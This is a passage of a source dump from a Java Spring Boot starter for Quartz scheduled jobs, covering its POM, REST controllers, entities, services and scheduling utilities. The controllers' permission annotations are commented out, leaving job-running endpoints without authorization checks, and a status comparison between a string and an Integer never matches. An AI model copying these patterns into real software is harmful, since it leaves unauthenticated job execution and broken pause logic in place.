java.util.*;\\n\" +\n//                \"public class Run {\\n\" +\n//                \"\\tpublic static void main(String[] args) {\\n\" +\n//                \"\\t\\tScanner in = new Scanner(System.in);\\n\" +\n//                \"\\t}\\n\" +\n//                \"}\";\n//\n//        String systemIn1 = \"\";\n//\n//////        new Thread() {\n//////            @Override\n//////            public void run() {\n//////                System.out.println(executeStringSourceService.execute(source1));\n//////            }\n//////        }.start();\n////\n//////        System.out.println(executeStringSourceService.execute(source1));\n////\n////        new Thread() {\n////            @Override\n////            public void run() {\n////                System.out.println(\"begin\");\n////                String res = executeStringSourceService.execute(source2);\n////                System.out.println(res);\n////                System.out.println(\"end\");\n////            }\n////        }.start();\n//\n//        String res = executeStringSourceService.execute(source, systemIn1);\n//        System.out.println(\"---------- Begin ----------\");\n//        System.out.print(res);\n//        System.out.println(\"----------- End -----------\");\n//    }\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-job-spring-boot-starter/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-job-spring-boot-starter</artifactId>\n    <version>1.0.25</version>\n    <packaging>jar</packaging>\n    <description>定时任务通用组件</description>\n\n    <properties>\n        <java.version>1.8</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n        <jun.version>1.0.25</jun.version>\n        <spring-boot.version>2.5.14</spring-boot.version>\n        <spring-cloud.version>2020.0.6</spring-cloud.version>\n        <mybatis-plus.version>3.5.7</mybatis-plus.version>\n        <druid.version>1.2.6</druid.version>\n        <quartz.version>2.3.2</quartz.version>\n        <mica-auto.version>2.3.2</mica-auto.version>\n    </properties>\n\n    <dependencyManagement>\n        <dependencies>\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n                <version>${spring-boot.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.cloud</groupId>\n                <artifactId>spring-cloud-dependencies</artifactId>\n                <version>${spring-cloud.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n    <dependencies>\n        <dependency>\n            <groupId>io.github.wujun728</groupId>\n            <artifactId>jun-common-base</artifactId>\n            <version>${jun.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>io.github.wujun728</groupId>\n            <artifactId>jun-swagger2-spring-boot-starter</artifactId>\n            <version>${jun.version}</version>\n        </dependency>\n\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-boot-starter</artifactId>\n        </dependency>\n        <!-- druid 官方 starter -->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid-spring-boot-starter</artifactId>\n        </dependency>\n\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n\n\t\t<dependency>\n            <groupId>org.quartz-scheduler</groupId>\n            <artifactId>quartz</artifactId>\n            <version>${quartz.version}</version>\n            <exclusions>\n                <exclusion>\n                    <groupId>com.mchange</groupId>\n                    <artifactId>c3p0</artifactId>\n                </exclusion>\n                <exclusion>\n                    <groupId>com.zaxxer</groupId>\n                    <artifactId>HikariCP-java6</artifactId>\n                </exclusion>\n            </exclusions>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework</groupId>\n            <artifactId>spring-context-support</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>net.dreamlu</groupId>\n            <artifactId>mica-auto</artifactId>\n        </dependency>\n    </dependencies>\n</project>\n"
  },
  {
    "path": "jun_springboot_starter/jun-job-spring-boot-starter/src/main/java/io/github/wujun728/quartz/config/QuartzAutoConfig.java",
    "content": "package io.github.wujun728.quartz.config;\n\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * @author wujun\n * @date 2021/3/19\n */\n@Configuration\n@ComponentScan(basePackages = \"io.github.wujun728.quartz\")\n@MapperScan(basePackages = \"io.github.wujun728.quartz.mapper\")\npublic class QuartzAutoConfig {\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-job-spring-boot-starter/src/main/java/io/github/wujun728/quartz/controller/SysJobController.java",
    "content": "package io.github.wujun728.quartz.controller;\n\nimport com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.core.toolkit.Wrappers;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.quartz.utils.ScheduleJob;\nimport io.github.wujun728.quartz.entity.SysJobEntity;\nimport io.github.wujun728.quartz.service.SysJobService;\n\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\nimport io.swagger.annotations.ApiParam;\n//import org.apache.shiro.authz.annotation.RequiresPermissions;\nimport org.quartz.TriggerUtils;\nimport org.quartz.impl.triggers.CronTriggerImpl;\nimport org.springframework.util.StringUtils;\nimport org.springframework.web.bind.annotation.*;\n\nimport javax.annotation.Resource;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.List;\n\n\n/**\n * 定时任务\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\n@Api(tags = \"定时任务\")\n@RestController\n@RequestMapping(\"/sysJob\")\npublic class SysJobController {\n    @Resource\n    private SysJobService sysJobService;\n\n    @ApiOperation(value = \"新增\")\n    @PostMapping(\"/add\")\n    //@RequiresPermissions(\"sysJob:add\")\n    public Result add(@RequestBody SysJobEntity sysJob) {\n        if (isValidExpression(sysJob.getCronExpression())) {\n            return Result.fail(\"cron表达式有误\");\n        }\n        Result result = ScheduleJob.judgeBean(sysJob.getBeanName());\n        sysJobService.saveJob(sysJob);\n        return Result.success(result);\n    }\n\n    @ApiOperation(value = \"删除\")\n    @DeleteMapping(\"/delete\")\n    //@RequiresPermissions(\"sysJob:delete\")\n    public Result delete(@RequestBody @ApiParam(value = \"id集合\") List<String> ids) {\n        sysJobService.delete(ids);\n        return Result.success();\n    }\n\n    @ApiOperation(value = \"更新\")\n    @PutMapping(\"/update\")\n    //@RequiresPermissions(\"sysJob:update\")\n    public Result update(@RequestBody SysJobEntity sysJob) {\n        if (isValidExpression(sysJob.getCronExpression())) {\n            return Result.fail(\"cron表达式有误\");\n        }\n        Result result = ScheduleJob.judgeBean(sysJob.getBeanName());\n        sysJobService.updateJobById(sysJob);\n        return Result.success(result);\n    }\n\n    @ApiOperation(value = \"查询分页数据\")\n    @PostMapping(\"/listByPage\")\n    //@RequiresPermissions(\"sysJob:list\")\n    public Result findListByPage(@RequestBody SysJobEntity sysJob) {\n        Page page = new Page(sysJob.getPage(), sysJob.getLimit());\n        LambdaQueryWrapper<SysJobEntity> queryWrapper = Wrappers.lambdaQuery();\n        //查询条件示例\n        if (!StringUtils.isEmpty(sysJob.getBeanName())) {\n            queryWrapper.like(SysJobEntity::getBeanName, sysJob.getBeanName());\n        }\n        IPage<SysJobEntity> iPage = sysJobService.page(page, queryWrapper);\n        return Result.success(iPage);\n    }\n\n\n    /**\n     * 立即执行任务\n     */\n    @ApiOperation(value = \"立即执行任务\")\n    @PostMapping(\"/run\")\n    //@RequiresPermissions(\"sysJob:run\")\n    public Result run(@RequestBody List<String> ids) {\n        sysJobService.run(ids);\n\n        return Result.success();\n    }\n\n    /**\n     * 暂停定时任务\n     */\n    @ApiOperation(value = \"暂停定时任务\")\n    @PostMapping(\"/pause\")\n    //@RequiresPermissions(\"sysJob:pause\")\n    public Result pause(@RequestBody List<String> ids) {\n        sysJobService.pause(ids);\n\n        return Result.success();\n    }\n\n    /**\n     * 恢复定时任务\n     */\n    @ApiOperation(value = \"恢复定时任务\")\n    @PostMapping(\"/resume\")\n    //@RequiresPermissions(\"sysJob:resume\")\n    public Result resume(@RequestBody List<String> ids) {\n        sysJobService.resume(ids);\n        return Result.success();\n    }\n\n    /**\n     * 判断cron表达式\n     *\n     * @param cronExpression cron表达式\n     * @return 是否有误\n     */\n    public static boolean isValidExpression(String cronExpression) {\n        CronTriggerImpl trigger = new CronTriggerImpl();\n        try {\n            trigger.setCronExpression(cronExpression);\n            Date date = trigger.computeFirstFireTime(null);\n            return date == null || !date.after(new Date());\n        } catch (Exception e) {\n            return true;\n        }\n    }\n\n\n    @ApiOperation(value = \"获取运行时间\")\n    @PostMapping(\"/getRecentTriggerTime\")\n    //@RequiresPermissions(\"sysJob:add\")\n    public Result getRecentTriggerTime(String cron) {\n        List<String> list = new ArrayList<>();\n        try {\n            CronTriggerImpl cronTriggerImpl = new CronTriggerImpl();\n            cronTriggerImpl.setCronExpression(cron);\n            // 这个是重点，一行代码搞定\n            List<Date> dates = TriggerUtils.computeFireTimes(cronTriggerImpl, null, 5);\n            SimpleDateFormat dateFormat = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n            for (Date date : dates) {\n                list.add(dateFormat.format(date));\n            }\n\n        } catch (ParseException e) {\n            e.printStackTrace();\n        }\n        return Result.success(list);\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-job-spring-boot-starter/src/main/java/io/github/wujun728/quartz/controller/SysJobLogController.java",
    "content": "package io.github.wujun728.quartz.controller;\n\nimport com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;\nimport com.baomidou.mybatisplus.core.metadata.IPage;\nimport com.baomidou.mybatisplus.core.toolkit.Wrappers;\nimport com.baomidou.mybatisplus.extension.plugins.pagination.Page;\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.quartz.service.SysJobLogService;\nimport io.github.wujun728.quartz.entity.SysJobLogEntity;\n\nimport io.swagger.annotations.Api;\nimport io.swagger.annotations.ApiOperation;\n//import org.apache.shiro.authz.annotation.RequiresPermissions;\nimport org.springframework.util.StringUtils;\nimport org.springframework.web.bind.annotation.*;\n\nimport javax.annotation.Resource;\n\n\n/**\n * 定时任务日志\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\n@Api(tags = \"定时任务日志\")\n@RestController\n@RequestMapping(\"/sysJobLog\")\npublic class SysJobLogController {\n    @Resource\n    private SysJobLogService sysJobLogService;\n\n    @ApiOperation(value = \"查询分页数据\")\n    @PostMapping(\"/listByPage\")\n    //@RequiresPermissions(\"sysJob:list\")\n    public Result findListByPage(@RequestBody SysJobLogEntity sysJobLog) {\n        Page page = new Page(sysJobLog.getPage(), sysJobLog.getLimit());\n        LambdaQueryWrapper<SysJobLogEntity> queryWrapper = Wrappers.lambdaQuery();\n        //查询条件示例\n        if (!StringUtils.isEmpty(sysJobLog.getJobId())) {\n            queryWrapper.like(SysJobLogEntity::getJobId, sysJobLog.getJobId());\n        }\n        queryWrapper.orderByDesc(SysJobLogEntity::getCreateTime);\n        IPage<SysJobLogEntity> iPage = sysJobLogService.page(page, queryWrapper);\n        return Result.success(iPage);\n    }\n\n    @ApiOperation(value = \"清空定时任务日志\")\n    @DeleteMapping(\"/delete\")\n    //@RequiresPermissions(\"sysJob:delete\")\n    public Result delete() {\n        sysJobLogService.remove(Wrappers.emptyWrapper());\n        return Result.success();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-job-spring-boot-starter/src/main/java/io/github/wujun728/quartz/entity/SysJobEntity.java",
    "content": "package io.github.wujun728.quartz.entity;\n\nimport com.baomidou.mybatisplus.annotation.FieldFill;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport com.fasterxml.jackson.annotation.JsonFormat;\n\nimport io.github.wujun728.common.base.BaseEntity;\nimport lombok.Data;\nimport lombok.EqualsAndHashCode;\n\nimport java.io.Serializable;\nimport java.util.Date;\n\n/**\n * 定时任务\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\n@EqualsAndHashCode(callSuper = true)\n@Data\n@TableName(\"sys_job\")\npublic class SysJobEntity extends BaseEntity implements Serializable {\n    private static final long serialVersionUID = 1L;\n    /**\n     * 任务调度参数key\n     */\n    public static final String JOB_PARAM_KEY = \"JOB_PARAM_KEY\";\n    /**\n     * 任务id\n     */\n    @TableId(\"id\")\n    private String id;\n\n    /**\n     * spring bean名称\n     */\n    @TableField(\"bean_name\")\n    private String beanName;\n\n    /**\n     * 参数\n     */\n    @TableField(\"params\")\n    private String params;\n\n    /**\n     * cron表达式\n     */\n    @TableField(\"cron_expression\")\n    private String cronExpression;\n\n    /**\n     * 任务状态  0：正常  1：暂停\n     */\n    @TableField(\"status\")\n    private Integer status;\n\n    /**\n     * 备注\n     */\n    @TableField(\"remark\")\n    private String remark;\n\n    /**\n     * 创建时间\n     */\n    @TableField(value = \"create_time\", fill = FieldFill.INSERT)\n    @JsonFormat(pattern=\"yyyy-MM-dd HH:mm:ss\",timezone = \"GMT+8\")\n    private Date createTime;\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-job-spring-boot-starter/src/main/java/io/github/wujun728/quartz/entity/SysJobLogEntity.java",
    "content": "package io.github.wujun728.quartz.entity;\n\nimport com.baomidou.mybatisplus.annotation.FieldFill;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport com.fasterxml.jackson.annotation.JsonFormat;\n\nimport io.github.wujun728.common.base.BaseEntity;\nimport lombok.Data;\nimport lombok.EqualsAndHashCode;\n\nimport java.io.Serializable;\nimport java.util.Date;\n\n/**\n * 定时任务日志\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\n@EqualsAndHashCode(callSuper = true)\n@Data\n@TableName(\"sys_job_log\")\npublic class SysJobLogEntity extends BaseEntity implements Serializable {\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * 任务日志id\n     */\n    @TableId(\"id\")\n    private String id;\n\n    /**\n     * 任务id\n     */\n    @TableField(\"job_id\")\n    private String jobId;\n\n    /**\n     * spring bean名称\n     */\n    @TableField(\"bean_name\")\n    private String beanName;\n\n    /**\n     * 参数\n     */\n    @TableField(\"params\")\n    private String params;\n\n    /**\n     * 任务状态    0：成功    1：失败\n     */\n    @TableField(\"status\")\n    private Integer status;\n\n    /**\n     * 失败信息\n     */\n    @TableField(\"error\")\n    private String error;\n\n    /**\n     * 耗时(单位：毫秒)\n     */\n    @TableField(\"times\")\n    private Integer times;\n\n    /**\n     * 创建时间\n     */\n    @TableField(value = \"create_time\", fill = FieldFill.INSERT)\n    @JsonFormat(pattern=\"yyyy-MM-dd HH:mm:ss\",timezone = \"GMT+8\")\n    private Date createTime;\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-job-spring-boot-starter/src/main/java/io/github/wujun728/quartz/mapper/SysJobLogMapper.java",
    "content": "package io.github.wujun728.quartz.mapper;\n\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport io.github.wujun728.quartz.entity.SysJobLogEntity;\n\n/**\n * 定时任务日志、 Mapper\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\npublic interface SysJobLogMapper extends BaseMapper<SysJobLogEntity> {\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-job-spring-boot-starter/src/main/java/io/github/wujun728/quartz/mapper/SysJobMapper.java",
    "content": "package io.github.wujun728.quartz.mapper;\n\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport io.github.wujun728.quartz.entity.SysJobEntity;\n\n/**\n * 定时任务 Mapper\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\npublic interface SysJobMapper extends BaseMapper<SysJobEntity> {\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-job-spring-boot-starter/src/main/java/io/github/wujun728/quartz/service/SysJobLogService.java",
    "content": "package io.github.wujun728.quartz.service;\n\nimport com.baomidou.mybatisplus.extension.service.IService;\nimport io.github.wujun728.quartz.entity.SysJobLogEntity;\n\n/**\n * 定时任务 服务类\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\npublic interface SysJobLogService extends IService<SysJobLogEntity> {\n\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-job-spring-boot-starter/src/main/java/io/github/wujun728/quartz/service/SysJobService.java",
    "content": "package io.github.wujun728.quartz.service;\n\nimport com.baomidou.mybatisplus.extension.service.IService;\nimport io.github.wujun728.quartz.entity.SysJobEntity;\n\nimport java.util.List;\n\n/**\n * 定时任务 服务类\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\npublic interface SysJobService extends IService<SysJobEntity> {\n\n    /**\n     * 保存job\n     *\n     * @param sysJob sysJob\n     */\n    void saveJob(SysJobEntity sysJob);\n\n    /**\n     * 更新job\n     *\n     * @param sysJob sysJob\n     */\n    void updateJobById(SysJobEntity sysJob);\n\n    /**\n     * 删除job\n     *\n     * @param ids ids\n     */\n    void delete(List<String> ids);\n\n    /**\n     * 运行一次job\n     *\n     * @param ids ids\n     */\n    void run(List<String> ids);\n\n    /**\n     * 暂停job\n     *\n     * @param ids ids\n     */\n    void pause(List<String> ids);\n\n    /**\n     * 恢复job\n     *\n     * @param ids ids\n     */\n    void resume(List<String> ids);\n\n    /**\n     * 批量更新状态\n     *\n     * @param ids    ids\n     * @param status status\n     */\n    void updateBatch(List<String> ids, int status);\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-job-spring-boot-starter/src/main/java/io/github/wujun728/quartz/service/impl/SysJobLogServiceImpl.java",
    "content": "package io.github.wujun728.quartz.service.impl;\n\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport io.github.wujun728.quartz.service.SysJobLogService;\nimport io.github.wujun728.quartz.entity.SysJobLogEntity;\nimport io.github.wujun728.quartz.mapper.SysJobLogMapper;\n\nimport org.springframework.stereotype.Service;\n\n/**\n * 定时任务 服务类\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\n@Service(\"sysJobLogService\")\npublic class SysJobLogServiceImpl extends ServiceImpl<SysJobLogMapper, SysJobLogEntity> implements SysJobLogService {\n\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-job-spring-boot-starter/src/main/java/io/github/wujun728/quartz/service/impl/SysJobServiceImpl.java",
    "content": "package io.github.wujun728.quartz.service.impl;\n\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport io.github.wujun728.common.exception.BusinessException;\nimport io.github.wujun728.quartz.utils.ScheduleUtils;\nimport io.github.wujun728.quartz.entity.SysJobEntity;\nimport io.github.wujun728.quartz.mapper.SysJobMapper;\nimport io.github.wujun728.quartz.service.SysJobService;\n\nimport org.quartz.CronTrigger;\nimport org.quartz.Scheduler;\nimport org.springframework.stereotype.Service;\nimport org.springframework.transaction.annotation.Transactional;\n\nimport javax.annotation.PostConstruct;\nimport javax.annotation.Resource;\nimport java.util.List;\n\n/**\n * 定时任务 服务类\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\n@Service(\"sysJobService\")\npublic class SysJobServiceImpl extends ServiceImpl<SysJobMapper, SysJobEntity> implements SysJobService {\n    @Resource\n    private Scheduler scheduler;\n    @Resource\n    private SysJobMapper sysJobMapper;\n\n    /**\n     * 项目启动时，初始化定时器\n     */\n    @PostConstruct\n    public void init() {\n        List<SysJobEntity> scheduleJobList = this.list();\n        for (SysJobEntity scheduleJob : scheduleJobList) {\n            CronTrigger cronTrigger = ScheduleUtils.getCronTrigger(scheduler, scheduleJob.getId());\n            //如果不存在，则创建\n            if (cronTrigger == null) {\n                ScheduleUtils.createScheduleJob(scheduler, scheduleJob);\n            } else {\n                ScheduleUtils.updateScheduleJob(scheduler, scheduleJob);\n            }\n        }\n    }\n\n    @Override\n    public void saveJob(SysJobEntity sysJob) {\n        sysJob.setStatus(0);\n        this.save(sysJob);\n\n        ScheduleUtils.createScheduleJob(scheduler, sysJob);\n    }\n\n    @Override\n    public void updateJobById(SysJobEntity sysJob) {\n        SysJobEntity sysJobEntity = this.getById(sysJob.getId());\n        if (sysJobEntity == null) {\n            throw new BusinessException(\"获取定时任务异常\");\n        }\n        sysJob.setStatus(sysJobEntity.getStatus());\n        ScheduleUtils.updateScheduleJob(scheduler, sysJob);\n\n        this.updateById(sysJob);\n    }\n\n    @Override\n    public void delete(List<String> ids) {\n        for (String jobId : ids) {\n            ScheduleUtils.deleteScheduleJob(scheduler, jobId);\n        }\n        sysJobMapper.deleteBatchIds(ids);\n    }\n\n    @Override\n    @Transactional(rollbackFor = Exception.class)\n    public void run(List<String> ids) {\n        for (String jobId : ids) {\n            ScheduleUtils.run(scheduler, this.getById(jobId));\n        }\n    }\n\n    @Override\n    @Transactional(rollbackFor = Exception.class)\n    public void pause(List<String> ids) {\n        for (String jobId : ids) {\n            ScheduleUtils.pauseJob(scheduler, jobId);\n        }\n\n        updateBatch(ids, 1);\n    }\n\n    @Override\n    @Transactional(rollbackFor = Exception.class)\n    public void resume(List<String> ids) {\n        for (String jobId : ids) {\n            ScheduleUtils.resumeJob(scheduler, jobId);\n        }\n\n        updateBatch(ids, 0);\n    }\n\n    @Override\n    public void updateBatch(List<String> ids, int status) {\n        ids.parallelStream().forEach(id -> {\n            SysJobEntity sysJobEntity = new SysJobEntity();\n            sysJobEntity.setId(id);\n            sysJobEntity.setStatus(status);\n            baseMapper.updateById(sysJobEntity);\n        });\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-job-spring-boot-starter/src/main/java/io/github/wujun728/quartz/task/TestTask11.java",
    "content": "package io.github.wujun728.quartz.task;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Component;\n\n/**\n * Queartz JOB  测试定时任务(演示Demo，可删除)\n * testTask为spring bean的名称， 方法名称必须是run\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\n@Component(\"testTask11\")\npublic class TestTask11 {\n    private Logger logger = LoggerFactory.getLogger(getClass());\n\n\tpublic void run(String params){\n\t\t//@TODO,新增定时任务，更新项目管理功能的当前处理人跟当前处理流程节点；\n\t\tlogger.debug(\"TestTask 111111111111111   定时任务正在执行，每分钟执行一次，参数为：{}\", params);\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-job-spring-boot-starter/src/main/java/io/github/wujun728/quartz/utils/ScheduleJob.java",
    "content": "package io.github.wujun728.quartz.utils;\n\nimport cn.hutool.extra.spring.SpringUtil;\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.quartz.entity.SysJobEntity;\nimport io.github.wujun728.quartz.entity.SysJobLogEntity;\nimport io.github.wujun728.quartz.service.SysJobLogService;\nimport org.apache.commons.lang3.StringUtils;\nimport org.quartz.JobExecutionContext;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.scheduling.quartz.QuartzJobBean;\n\nimport java.lang.reflect.Method;\n\n\n/**\n * 定时任务\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\npublic class ScheduleJob extends QuartzJobBean {\n    private Logger logger = LoggerFactory.getLogger(getClass());\n\n    final SysJobLogService sysJobLogService;\n\n    public ScheduleJob(SysJobLogService sysJobLogService) {\n        this.sysJobLogService = sysJobLogService;\n    }\n\n    @Override\n    protected void executeInternal(JobExecutionContext context) {\n        SysJobEntity scheduleJob = (SysJobEntity) context.getMergedJobDataMap()\n                .get(SysJobEntity.JOB_PARAM_KEY);\n\n        //获取spring bean\n        SysJobLogService scheduleJobLogService = (SysJobLogService) SpringUtil.getBean(\"sysJobLogService\");\n\n        //数据库保存执行记录\n        SysJobLogEntity log = new SysJobLogEntity();\n        log.setJobId(scheduleJob.getId());\n        log.setBeanName(scheduleJob.getBeanName());\n        log.setParams(scheduleJob.getParams());\n\n        //任务开始时间\n        long startTime = System.currentTimeMillis();\n\n        try {\n            //执行任务\n            logger.debug(\"任务准备执行，任务ID：\" + scheduleJob.getId());\n\n            Object target = SpringUtil.getBean(scheduleJob.getBeanName());\n            assert target != null;\n            Method method = target.getClass().getDeclaredMethod(\"run\", String.class);\n            method.invoke(target, scheduleJob.getParams());\n\n            //任务执行总时长\n            long times = System.currentTimeMillis() - startTime;\n            log.setTimes((int) times);\n            //任务状态    0：成功    1：失败\n            log.setStatus(0);\n\n            logger.debug(\"任务执行完毕，任务ID：\" + scheduleJob.getId() + \"  总共耗时：\" + times + \"毫秒\");\n        } catch (Exception e) {\n            logger.error(\"任务执行失败，任务ID：\" + scheduleJob.getId(), e);\n\n            //任务执行总时长\n            long times = System.currentTimeMillis() - startTime;\n            log.setTimes((int) times);\n\n            //任务状态    0：成功    1：失败\n            log.setStatus(1);\n            log.setError(StringUtils.substring(e.toString(), 0, 2000));\n        } finally {\n            assert scheduleJobLogService != null;\n            scheduleJobLogService.save(log);\n        }\n    }\n\n    /**\n     * 判断bean是否有效\n     *\n     * @param beanName beanName\n     * @return 返回信息\n     */\n    public static Result judgeBean(String beanName) {\n\n        if (org.springframework.util.StringUtils.isEmpty(beanName)) {\n            return Result.fail(\"spring bean名称不能为空\");\n        }\n\n        Object target = SpringUtil.getBean(beanName);\n        if (target == null) {\n            return Result.fail(\"spring bean不存在，请检查\");\n        }\n        Method method;\n        try {\n            method = target.getClass().getDeclaredMethod(\"run\", String.class);\n        } catch (Exception e) {\n            return Result.fail(\"spring bean中的run方法不存在，请检查\");\n        }\n        if (method == null) {\n            return Result.fail(\"spring bean中的run方法不存在，请检查\");\n        }\n\n        return Result.success();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-job-spring-boot-starter/src/main/java/io/github/wujun728/quartz/utils/ScheduleUtils.java",
    "content": "package io.github.wujun728.quartz.utils;\n\nimport io.github.wujun728.common.exception.BusinessException;\nimport io.github.wujun728.quartz.entity.SysJobEntity;\nimport org.quartz.*;\n\n/**\n * 定时任务工具类\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\npublic class ScheduleUtils {\n    private final static String JOB_NAME = \"TASK_\";\n\n    /**\n     * 获取触发器key\n     */\n    public static TriggerKey getTriggerKey(String jobId) {\n        return TriggerKey.triggerKey(JOB_NAME + jobId);\n    }\n\n    /**\n     * 获取jobKey\n     */\n    public static JobKey getJobKey(String jobId) {\n        return JobKey.jobKey(JOB_NAME + jobId);\n    }\n\n    /**\n     * 获取表达式触发器\n     */\n    public static CronTrigger getCronTrigger(Scheduler scheduler, String jobId) {\n        try {\n            return (CronTrigger) scheduler.getTrigger(getTriggerKey(jobId));\n        } catch (SchedulerException e) {\n            throw new BusinessException(\"获取定时任务CronTrigger出现异常\");\n        }\n    }\n\n    /**\n     * 创建定时任务\n     */\n    public static void createScheduleJob(Scheduler scheduler, SysJobEntity scheduleJob) {\n        try {\n            //构建job信息\n            JobDetail jobDetail = JobBuilder.newJob(ScheduleJob.class).withIdentity(getJobKey(scheduleJob.getId())).build();\n\n            //表达式调度构建器\n            CronScheduleBuilder scheduleBuilder = CronScheduleBuilder.cronSchedule(scheduleJob.getCronExpression())\n                    .withMisfireHandlingInstructionDoNothing();\n\n            //按新的cronExpression表达式构建一个新的trigger\n            CronTrigger trigger = TriggerBuilder.newTrigger().withIdentity(getTriggerKey(scheduleJob.getId())).withSchedule(scheduleBuilder).build();\n\n            //放入参数，运行时的方法可以获取\n            jobDetail.getJobDataMap().put(SysJobEntity.JOB_PARAM_KEY, scheduleJob);\n\n            scheduler.scheduleJob(jobDetail, trigger);\n\n            //暂停任务\n            if (\"1\".equals(scheduleJob.getStatus())) {\n                pauseJob(scheduler, scheduleJob.getId());\n            }\n        } catch (SchedulerException e) {\n            throw new BusinessException(\"创建定时任务失败\");\n        }\n    }\n\n    /**\n     * 更新定时任务\n     */\n    public static void updateScheduleJob(Scheduler scheduler, SysJobEntity scheduleJob) {\n        try {\n            TriggerKey triggerKey = getTriggerKey(scheduleJob.getId());\n\n            //表达式调度构建器\n            CronScheduleBuilder scheduleBuilder = CronScheduleBuilder.cronSchedule(scheduleJob.getCronExpression())\n                    .withMisfireHandlingInstructionDoNothing();\n\n            CronTrigger trigger = getCronTrigger(scheduler, scheduleJob.getId());\n\n            //按新的cronExpression表达式重新构建trigger\n            trigger = trigger.getTriggerBuilder().withIdentity(triggerKey).withSchedule(scheduleBuilder).build();\n\n            //参数\n            trigger.getJobDataMap().put(SysJobEntity.JOB_PARAM_KEY, scheduleJob);\n\n            scheduler.rescheduleJob(triggerKey, trigger);\n\n            //暂停任务\n            if (\"1\".equals(scheduleJob.getStatus())) {\n                pauseJob(scheduler, scheduleJob.getId());\n            }\n\n        } catch (SchedulerException e) {\n            throw new BusinessException(\"更新定时任务失败\");\n        }\n    }\n\n    /**\n     * 立即执行任务\n     */\n    public static void run(Scheduler scheduler, SysJobEntity scheduleJob) {\n        try {\n            //参数\n            JobDataMap dataMap = new JobDataMap();\n            dataMap.put(SysJobEntity.JOB_PARAM_KEY, scheduleJob);\n\n            scheduler.triggerJob(getJobKey(scheduleJob.getId()), dataMap);\n        } catch (SchedulerException e) {\n            throw new BusinessException(\"立即执行定时任务失败\");\n        }\n    }\n\n    /**\n     * 暂停任务\n     */\n    public static void 